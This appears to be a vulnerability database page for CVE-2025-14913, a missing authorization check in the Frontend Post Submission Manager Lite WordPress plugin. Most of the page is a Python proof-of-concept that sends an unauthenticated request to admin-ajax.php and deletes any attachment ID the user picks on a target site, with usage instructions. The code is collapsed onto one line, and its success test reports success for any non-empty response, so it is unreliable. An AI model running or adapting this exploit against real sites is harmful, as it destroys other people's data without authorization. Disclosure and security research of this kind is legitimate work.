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CVE-2025-14913 CVSS 5.3 MEDIUM

CVE-2025-14913

Published: 2025-12-26 00:16:00
Last Modified: 2026-04-15 00:35:42

Description

The Frontend Post Submission Manager Lite – Frontend Posting WordPress Plugin plugin for WordPress is vulnerable to unauthorized loss of data due to an incorrect authorization check on the 'media_delete_action' function in all versions up to, and including, 1.2.6. This makes it possible for unauthenticated attackers to delete arbitrary attachments.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Frontend Post Submission Manager Lite <= 1.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14913 PoC - Unauthenticated Arbitrary Attachment Deletion # Target: WordPress with Frontend Post Submission Manager Lite plugin <= 1.2.6 def delete_attachment(target_url, attachment_id): """ Exploit for CVE-2025-14913 Deletes arbitrary WordPress attachments without authentication Args: target_url: Base URL of the WordPress site attachment_id: ID of the attachment to delete """ # Target the AJAX endpoint used by the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the exploit payload # The plugin's media_delete_action function processes this request data = { 'action': 'fpsml_media_delete_action', # Plugin AJAX action 'post_type': 'attachment', 'attachment_id': attachment_id } print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete attachment ID: {attachment_id}") try: # Send the malicious request without authentication response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: # Check response to determine if deletion was successful if 'deleted' in response.text.lower() or response.text: print(f"[+] SUCCESS: Attachment {attachment_id} may have been deleted") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request completed but deletion status uncertain") print(f"[-] Response: {response.text[:200]}") else: print(f"[-] HTTP Error: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attachment_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1].rstrip('/') att_id = sys.argv[2] delete_attachment(target, att_id)

References

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